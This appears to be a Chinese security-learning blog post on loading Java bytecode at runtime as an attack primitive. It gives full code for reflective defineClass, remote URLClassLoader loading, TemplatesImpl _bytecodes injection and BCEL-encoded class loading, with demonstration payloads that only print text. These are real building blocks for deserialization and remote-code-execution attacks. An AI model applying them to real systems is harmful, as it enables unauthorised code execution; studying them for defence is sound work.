获取中...

-

Just a minute...

动态加载字节码是一种让JVM可以接收由程序在运行时动态产生的字节数组并将其装在的能力 本义是让程序变得更加灵活 但是也产生了一定的安全问题

核心方法

java.lang.ClassLoader类中有一个方法

1
protected final Class<?> defineClass(String name, byte[] b, int off, int len)

其作用是将一个符合JVM贵哦饭的Class文件字节码byte数组 转换成一个java.lang.Class的实例
听上去人畜无害 但是由于其直接跳过“从文件系统加载”的步骤 接收任何来源的合法字节数组 那么攻击者就可以生成符合规范的i解码 通过它生成我们的恶意实例
我们后文所介绍的几种动态加载字节码的姿势 最终都要落到defineClass这一步

DefineClass

在java之中字节码文件的加载需要ClassLoader之中的三个方法

  • LoadClass:从已经加载的类缓存 父加载器这些位置寻找类 (利用双亲委派机制)如果没找到 执行FindClass
  • FindClass:根据基础URL指定的方式加载类的字节码 寻找范围包括本地文件系统 jar包 远程hrrp服务器 然后交给defineClass
  • defineClass:处理前面传入的字节码 将其处理成真正的java类

我们来编写一段代码来试试看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package java_class;  

import java.lang.reflect.Method;
import java.util.Base64;

public class DefineClassAttack {
public static void main(String[] args) throws Exception {
// 假设我们有恶意类的字节码(Base64编码,这里直接硬编码示意)
byte[] evilBytes = Base64.getDecoder().decode(
"yv66vgAAADQAHgoABgAQCQARABIIABMKABQAFQcAFgcAFwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQARTGphdmFfY2xhc3MvRXZpbDsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhDAAHAAgHABgMABkAGgEABGtvYmUHABsMABwAHQEAD2phdmFfY2xhc3MvRXZpbAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYAIQAFAAYAAAAAAAEAAQAHAAgAAQAJAAAAPwACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAIACgAAAA4AAwAAAAQABAAFAAwABgALAAAADAABAAAADQAMAA0AAAABAA4AAAACAA8="); // 实际的 Evil.class 字节码

// 获取一个 ClassLoader 实例,这里用系统类加载器
ClassLoader sysLoader = ClassLoader.getSystemClassLoader();
// 反射获取 defineClass 方法
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);

// 调用 defineClass 注入恶意类,名称建议带包名保持一致
Class<?> evilClass = (Class<?>) defineClass.invoke(
sysLoader, "java_class.Evil", evilBytes, 0, evilBytes.length);

// 此时 Evil 类的静态代码块并未执行!
// 需要显式触发初始化,两种方式:
// 1. 调用 newInstance(),这会触发静态初始化 + 构造方法
// 2. 直接触发类的初始化:Class.forName(evilClass.getName(), true, sysLoader)
evilClass.newInstance(); // 这才真正执行恶意代码
}
}

其中那一串Base64编码是由Evil.java通过javac编译出来的Evil.class文件Base64编码得到

简单分析一下这一段代码

  • 首先传入一段class文件的base64编码内容 然后将其解码 也就是得到一个class文件
1
2
3
4
5
6
// 获取一个 ClassLoader 实例,这里用系统类加载器  
ClassLoader sysLoader = ClassLoader.getSystemClassLoader();
// 反射获取 defineClass 方法
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);

这两段就是在获得加载器和defineClass方法 注意由于这个方法是私有方法 我们需要使用反射并利用setAccessible获得权限

1
2
3
// 调用 defineClass 注入恶意类,名称建议带包名保持一致  
Class<?> evilClass = (Class<?>) defineClass.invoke(
sysLoader, "java_class.Evil", evilBytes, 0, evilBytes.length);

这一段是核心部分
其核心目的就是通过反射调用defineClass方法 将前面传入的class定义为一个真正的java类 并获取这个类的class对象
再反射之中method.invoke方法的作用是再指定的对象上用指定的参数调用该方法 第一个传入的参数是目标对象 后面的是参数

对应到我们的代码就是:

  • 目标对象sysLoader(一个 ClassLoader 实例,这里是系统类加载器)

  • 参数列表

    • 第 1 个参数:"java_class.Evil" → 类名

    • 第 2 个参数:evilBytes → 字节数组

    • 第 3 个参数:0 → 字节数组的起始偏移量

    • 第 4 个参数:evilBytes.length → 要读取的字节数量

其实整段代码也就相当于

1
sysLoader.defineClass("java_class.Evil", evilBytes, 0, evilBytes.length);

注意原代码使用强制类型住那混啊 将不确定的返回值转换成Class

后面三个参数暂且不表 注意类的全限定名这一块 如果定义类的时候是在包之中定义的 那么类的全限定名要加上包名

URLClassLoader

这是JDK官方提供的 专门从URL路径加载类的类加载器
其是java.lang.ClassLoader的一个具体子类 核心作用在于从一组URL指向位置查找并加载类

1
2
3
4
public class URLClassLoader extends ClassLoader {
// 这是一个构造函数 传入一个 URL 数组,这些 URL 就是类的“搜索路径”
public URLClassLoader(URL[] urls, ClassLoader parent) { ... }
}

值得注意的是 此处的URL不仅仅指http/https协议 还可以是file协议等

查找流程

URLClassLoader本质重写findClass方法以实现“从URL路径加载”的逻辑
大致过程:

  • 类全名转换成路径 如:java_class.Test->java_class/Test.class
  • 遍历URL 逐一尝试构造函数时候传入的URL数组
  • 将URL和第一步产生的路径拼接构造出完整的资源地址
  • 打开连接读取字节
  • 将读取到的byte[]字节数组传给defineClass 通过其完成字节码到类对象的转换工作
  • 缓存类

实例操作

我们先编写两个Java文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package java_class;  

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class LoaderTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException{
//攻击者可控的资源地址
URL[] urls={new URL("http://localhost:8080/")};
//创建一个类加载器实例
URLClassLoader loader = URLClassLoader.newInstance(urls);
//触发攻击点
Class<?> c = loader.loadClass("java_class.Test");
//加载完成后初始化
c.newInstance();

}
}

这个文件实现对目标URL的加载逻辑

1
2
3
4
5
6
7
package java_class;  

public class Test {
public Test(){
System.out.println("loader test");
}
}

操作步骤

首先在文件目录下启动cmd 将其编译成class文件

1
javac Test.java

接着启动http服务

1
python -m http.server 8080//适用于python3

完成之后直接在IDEA之中运行LoaderTest就可以看到成功输出loadertest

这就证明了URLClassLoader的远程·加载能力
这就说明如果我们能够控制目标java ClassLoader的基础路径是一个http服务器 就可以利用远程加载的方式执行RCE

Templateslmpl

这是Java的一个控制存储XSLT的特殊类
它的核心工作流程是当输入一段XSLT源码的时候 其内部会动态编译这份源码 生成一个java类 然后实例化这个类来完成XML到另一种形式(诸如HTML等)的转换
其会存储XSLT样式表编译之后的translet字节码(_bytecodes字段) 并在其defineTransletClasses()方法之中创建TransletClassLoader示例 调用其defineClass方法加载字节码 ——这就是为什么我们选择这个类作为攻击类

我们要做的就是

  • 创建一个空的TemplatesImpl对象 利用反射将恶意字节码塞入其_bytecodes字段
  • 调用newTransformer() 触发XSLT转换流程
  • 此时这个XSLT转换流程就会将我们传入的恶意代码当成正常的XSLT加载实例化
  • 最终触发恶意代码
    以下代码可以作为一个证明

我们先定义一个恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package java_class;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class EvilTeml extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {
} //继承的

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
} //继承的

public EvilTeml() {
super();
System.out.println("Hello Su@sU");
}//恶意代码
}

注意这个类必须继承于AbstractTranslet类
因为TemplatesTmpl在defineTransletClasses的筛选逻辑

1
2
3
if (AbstractTranslet.class.isAssignableFrom(clazz)) {
_class[i] = clazz; // 只有 AbstractTranslet 的子类才会被存入 _class 数组
}

并且之后再getTransletInstance里面会执行

1
AbstractTranslet translet = (AbstractTranslet) _class[0].newInstance();

那么如果加载的类不是AbstractTranslet的子类 它根本不会被存入_class数组 后续也就不会被实例化

接着将这个恶意类的class文件Base64编码
在以下代码之中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package java_class;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.util.Base64;

public class Teml {
public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABU...");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "EvilTeml");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}

private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
java.lang.reflect.Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

我们来分析一下上述代码

1
2
3
4
5
6
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABU...");  
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "EvilTeml");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

这一段 首先将一个字节流数组赋值我们的恶意class文件的Base64编码
然后创建了一个空白的TemplatesImpl对象 此时其属性为null

现在我们要为其中的三个关键属性赋值
首先_bytecodes这个最关键的 包含我们的恶意类的变量子不用说 肯定是要赋值的
其次_name这个属性 我们设置为恶意变量同名 方便精准定位
最后_tfactory这个属性我们设置成TransformerFactoryImpl对象 因为defineTransletClasses() 内部会通过 _tfactory.getFactory() 获取类加载器用于创建 TransletClassLoader 若为 null 且自动赋值失败就会 NPE 所以手动赋值最保险

那么现在在这个我们定义的TemplatesImpl对象的属性之中已经含有了我们的恶意类但是并没有被触发啊 我们可能首先会想 直接使用obj.newInstance触发它 但是实际上 此时的obj本身就是一个普通的java对象 它并不包含什么恶意代码 你无论如何初始化都不会触发属性之中那个类的恶意代码(此时这个类还只是字节码而不是完整的类)
那么我们就要使用newTransformer方法 这个方法会调用TemplatesImpl之中的一个私有方法:getTransletInstance()
可以看到如果还没有定义过 translet 类,就先去调用 defineTransletClasses() 进行定义和筛选 那么就会调用defineTransletClasses()方法 这个方法就会将obj._bytecodes之中的恶意类给实例化触发
所以说这个newTransformer()的触发逻辑

1
2
3
4
5
6
7
newTransformer()
└─ getTransletInstance()
├─ 若 _class == null,调用 defineTransletClasses()
│ ├─ TransletClassLoader.defineClass(_bytecodes[i]) // 加载恶意字节码
│ ├─ 检查类是否继承 AbstractTranslet
│ └─ 若其简单名与 _name 相等,存入 _class[i]
└─ _class[0].newInstance()

这样一来就触发了我们的恶意代码

BCEL ClassLoader

BCEL是Apache Commons项目之下的一个子项目 其提供两个类

  • Repository:用于将一个java Class转化成字节码(作用类似于javac)
  • Utility:用于将原生的字节码转换成BCEL格式字节码

其实这个BCELClassLoader的利用机制也就是将字节码转换成一种特殊形式(BCEL)的编码 这个BCELCLassLoader在调用loadClass都时候 其内部的loadClass方法会检测到一个特殊的前缀($$BCEL$$) 当识别到这个前缀的时候 loadClass会截取前缀之后的部分 通过内部的createClass方法将这一段特殊的BCEL编码解码会原始的字节码

我们可以来了解一下BCEL攻击需要导入什么包

  • com.sun.org.apache.becl.internal.util.ClassLoader:在攻击类之中导入 这是整个过程的核心 一个特殊的类加载器 负责识别和加载我们构造的BCEL格式字符串 (com.sun开头 说明它们是JDK内部专用的API )
  • com.sun.org.apache.bcel.intenal.classfile.Utility:在BCEL构造类之中使用 这是一个工具类 其encode方法能够将class文件的原始字节码转换成BCEL格式的字符串
  • java.nio.file.Files/java.nio.file.Paths:这是Java标准库之中的类 用于从磁盘上方便的读取class文件到byte数组 这是调用Utility.encode的前提

我们来完成这个攻击的示例
我们需要三个类
恶意攻击类

1
2
3
4
5
6
7
package java_class;  

public class EvilBCEL {
static {
System.out.println("Hello Su@sU");
}
}

BCEL编码类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package java_class;  

import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Paths;

public class BCELEncoder {
public static void main(String[] args) throws Exception {
byte[] classBytes = Files.readAllBytes(Paths.get("D:\\java study\\newjava\\src\\java_class\\EvilBCEL.class"));
String bcelCode = Utility.encode(classBytes, true);
System.out.println(bcelCode);
}
}

BCEL攻击类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package java_class;  

import com.sun.org.apache.bcel.internal.util.ClassLoader;

public class BCELAttack {
public static void main(String[] args) throws Exception {
// 创建一个 BCEL 类加载器实例
ClassLoader bcelLoader = new ClassLoader();

// 用上一步生成的 BCEL 字符串,前面拼接 "$$BCEL$$" String bcelPayload = "$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$5dPKK$c3$40$Q$fe$b6$af$3c$9a$da$daZ$df$82$k$84$d6$83$b9xk$R$b1T$3c$E$V$a2$bdJ$g$97$b2e$9bH$b2$v$f8$b3$f4$a0$e0$c1$l$e0$8f$SgC$7d$ceaf$e7$7b$cc$ee$ec$fb$c7$eb$h$80$pl$db$a8$60$c9B$j$N$T$cb6$9ah$ZX1$d0f$a8$f4E$q$d41C$b1$d3$j1$94$G$f1$jg$a8$7b$o$e2$X$d9l$cc$93$eb$60$y$J1$fb$a1$5c$um$3f$ce$92$90$9f$J$8d$d7$86s$nO$HC$efp$g$cc$D$H$GL$D$ab$O$d6$b0$ceP$3d$e7R$c6$bb$7ev$92$de$Y$d8p$b0$89$z$86$96V$de$862HS$f7$cb$cd$d0$d0$a8$x$83h$e2$5e$8e$a7$3cT$7f$m$ff$nU$7cF$af$8c3$o$da$5e$ce$88$d8$bdJD$a4$7c$95$f0$60$d6$5bL$fe$H3$Y$f7$ba$93$R$f9$3a$de$af$91$8a$e0I$af$3b$c2$k$ca$f4$3f$3a$K$60z$D$ca$Wu$3bT$Z$d5$f2$c1$L$d8$p$jhw$ca$95$i$y$92$ac$fa$z$dd$t$ab$O$eb$J$85f$f1$Z$a5$l$b9$9dSe$92j$a3$93$dfR$fb$Es$7e$ME$9b$B$A$A\n";

// 加载该类(内部会解码、defineClass),并立即实例化触发 static 块
bcelLoader.loadClass(bcelPayload).newInstance();
}
}

将恶意攻击类编码成字节码之后调用BCEL编码类编码成BCEL形式 之后添加入BCEL攻击类之中攻击即可

小结

至此动态加载字节码的机制以及几种利用姿势都已经学习完善
我们可以发现 无论如何变换姿势 底层都落在将任意来源的字节数组通过ClassLoader.defineClass()转变成java实例的过程

参考文章

相关文章
评论
分享
  • 社会工程学——cupp获取windows密码

    这其实本质是一个社会工程学问题至于为什么 在文章的最后想必大家也能理解假设现在有一个人短时间离开电脑之后并未锁屏 那么旁人就可以通过U盘拷贝重要密码文件的方式获取他的密码 密码文件获取windows并不会直接存储你的明文密码 它存的是...

    社会工程学——cupp获取windows密码
  • URLDNS链入门

    在一些测试环境之中 目标是否发生反序列化是无回显的 是否有一种办法能够测试目标是否能够发生反序列化呢?有的兄弟有的如果我们能让目标服务器通过反序列化发起一次DNS解析请求 那么在接收到请求的时候不就知道了吗那么这就是我们需要学习的UR...

    URLDNS链入门
  • 无痛入门java反序列化

    在学习URLDNS链以及之后的cc链之前 我们得先掌握java反序列化的基础知识 序列化和反序列化序列化把一个java对象转换成字节序列以便存储或者通过网络传输反序列化把字节序列还原成java对象 12序列化:对象->字符串反...

    无痛入门java反序列化
  • 用租房视角学习动态代理

    关于这一部分的知识点 我们先从静态代理说起 静态代理什么是代理? 代理就是:不操作目标对象而是通过一个中间人(代理)来间接操作最常见的现实例子就是租房问题:你要租房子 不需要直接找到房东 而是通过租房中介 中介帮你去和房东沟通 那么...

    用租房视角学习动态代理
  • 类加载机制漫谈

    解释java字节码为什么需要编译成class文件我们首先要理解JVMjava是是一种混合型语言有编译的步骤也有解释步骤我们编写的java文件需要被编译成class文件之后才能被JVM运行 什么是class文件传统编译型语言(C C++...

    类加载机制漫谈
  • 反射随笔

    反射概念在java之中 万物都是对象 包括“类本身也是一个对象”(属于java.lang.Class类的对象) 反射的本质就是在程序运行期间 通过操控这个Class对象 反向解析和操控它所代表的哪个类里面的内容(构造器,属性,方法) ...

    反射随笔
  • LangChain反序列化

    最近在打SCTF的时候遇到一个LangChain反序列化的题目 比较新颖 于是想着学习一下 LangChain介绍LangChain是一个用于构建大语言模型应用的开源框架 通过这个可以把常用的组件抽象成可串联的链(Chain)举个例...

    LangChain反序列化
  • filter-chain漏洞演示

    这个漏洞链被称为CNEXT 由安全员Charles Fol披露 核心思想是利用系统内置的看似无害的模块(流过滤器)的巧妙组合 在受限的web环境之中执行命令 原理讲解filter协议对于filter伪协议 我们肯定都不陌生这个伪协议允...

    filter-chain漏洞演示
  • 死亡绕过

    前言以及环境介绍本文是对p神文章谈一谈php://filter的妙用 | 离别歌知识点的学习 本文主要介绍使用filter伪协议进行死亡绕过的三种方式 测试环境:小皮面板测试代码:exit.php 12345<...

    死亡绕过
  • Phar反序列化漏洞演示

    前言我们在之前学习的反序列化漏洞 无一不是利用了unserialize()这个函数 但是我们没有去考虑 假设此时的题目并没有给我们这个函数 我们还能否实现反序列化呢 其实是可以的 在2018年的BlackHat 大会上 Sam Tho...

    Phar反序列化漏洞演示
Please check the parameter of comment in config.yml of hexo-theme-Annie!